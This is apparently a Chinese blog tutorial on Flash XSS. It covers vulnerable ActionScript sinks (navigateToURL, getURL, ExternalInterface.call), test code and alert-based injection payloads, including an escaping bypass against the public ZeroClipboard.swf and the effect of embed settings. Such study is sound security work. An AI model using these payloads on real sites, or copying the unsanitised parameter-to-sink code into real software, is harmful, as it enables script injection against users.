返回

Flash XSS 的一些总结

FLASH

Flash?

.swf是Flash文件的后缀,在线反编译的网站http://www.showmycode.com/ 该文件是由ActoionScript(以下简称AS)语言编写的,现在的AS分为了AS2和AS3,说白了就是两个版本 关于flash的参数传递之间的不同: AS2:采用_root.argv形式,argv直接就是参数名 AS3:采用loaderInfo.parameters形式,返回key和value的结构


Flash XSS

Flash XSS的起因

几个参数:getURLnavigateURLExternalInterface.call 1.缺陷参数-getURL&navigateToURL 可以执行js代码,as2中是getURL,as3中是navigateToURL

  1. navigateToURL
navigateToURL(new URLRequest(para), "_self"); //其中parm可以作为js代码执行

测试代码

    import flash.net.navigateToURL

    public class Main extends Sprite
    {
        public function Main()
        {
            var url:String = stage.loaderInfo.parameters.url;
            navigateToURL(new URLRequest(url), '_self');
        }

    }

payload: ?url=javascript:alert('xss') 结果:

2. getURL

getURL(para,"_self"); //para可以作为js代码执行

利用和navigateToURL相同

  1. ExternalInterface.call
ExternalInterface.call(func_name,para1); //func_name代表函数名,para1是函数func_name的第一个参数,可以只写第一个参数

底层代码:

try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
  • ExternalInterface.call()-函数名 测试代码:
        public function Main()
        {
            var a:String = root.loaderInfo.parameters.func;
            if (ExternalInterface.available)
            {
                ExternalInterface.call(a);
            }
            else{
                trace('error');
            }
        }

payload: ?func=alert(1))}catch(e){alert(2)}// 实际Code: try { __Flash__toXML(alert(1))}catch(e){alert(2)}//("参数1")) ; } catch (e) { "<undefined/>"; }

payload: ?func=a1lert(1))}catch(e){alert(2)}// 实际Code: try { __Flash__toXML(allert(1))}catch(e){alert(2)}//("参数1")) ; } catch (e) { "<undefined/>"; } 结果:
2. ExternalInterface.call()-参数1 测试代码(测试失败)

        public function Main()
        {
            trace('Success');
            var a:String = root.loaderInfo.parameters.para;
            if (a)
            {
                ExternalInterface.call("console.log", a)
            }
            else{
            }
        }

payload: \"))}catch(e){alert(1)}// //由于jsencode会对"进行转义,这里使用\"使其变成闭合的形式. 实际Code: try { __Flash__toXML(console.log("\"))}catch(e){alert(1)}//")) ; } catch (e) { "<undefined/>"; } 结果(可以看之后的ZeroClipboard.swf的测试) 3. ZeroClipboard.swf 关键代码:

            super();
            stage.scaleMode = StageScaleMode.EXACT_FIT;
            Security.allowDomain("*");
            var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters;
            id = flashvars.id;
            button = new Sprite();
            button.buttonMode = true;
            button.useHandCursor = true;
            button.graphics.beginFill(0xCCFF00);
            button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));
            button.alpha = 0;
            addChild(button);
            button.addEventListener(MouseEvent.CLICK, clickHandler);
            button.addEventListener(MouseEvent.MOUSE_OVER, function (_arg1:Event){
                ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
            });

首先寻找可以触发的点,在ExtenalInterface.call里面的参数是可以控制的,跟到id的定义id = flashvars.id,再继续跟到flashvars的的定义

var flashvars:* = LoaderInfo(this.root.loaderInfo).parameters

这个我们之前说过就是AS3的获取参数的形式,接着是利用的方式,这里有个地方需要绕过,如下:

button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height));

需要先构造一个button成功后才能到达可以利用的点. payload;

id="))} catch(e) {alert(1);}//&width=1000&height=1000

结果:

没有任何的反应,看浏览器的错误日志
发现"\转义了,可以添加一个\来达到绕过的效果 payload:

id=\"))} catch(e) {alert(1);}//&width=1000&height=1000

HTML中的Flash

Flash的嵌入:

  <object width="200" height="200" type="application/x-shockwave-flash" data="flash-path">
    <param name="allowScriptAccess" value="always" />
    <param name="allowNetworking" value="all" />
  </object>

这里有两个参数allowScriptAccessallowNetworking

allowScriptAccess:控制html页面与Flash页面铜须
always:通讯不做限制
samedomain:同域可通信(默认值)
never:禁止通讯

allowNetworking:控制Flash的与外部网络API
all:所以有网络API通讯接口都可用
internal:naigateToURL,fscomman,ExternalInterface.call不可用
none: 所有网络API不可用

Alert.as

    public class Main extends Sprite
    {

        public function Main()
        {
            ExternalInterface.call("alert",'xss');
        }

    }

1.插入本地文件&allowScriptAccess为samedomain或者always可弹窗

  <object width="200" height="200" type="application/x-shockwave-flash" data="./Alert.swf">
    <param name="allowScriptAccess" value="always" />
    <param name="allowNetworking" value="all" />
  </object>

结果:

2.插入本地文件&allowScriptAccess为never没有弹窗效果 3.插入远程文件&allowScriptAccess为always可弹窗 4.插入远程文件&allowScriptAccess为samedomain或者never没有弹窗效果 5.allowNetworking为internal没有弹窗,由于ExternalInterface.call被禁止了

在线测试网站:https://cure53.de/flashbang

(ง •_•)ง

Licensed under CC BY-NC-SA 4.0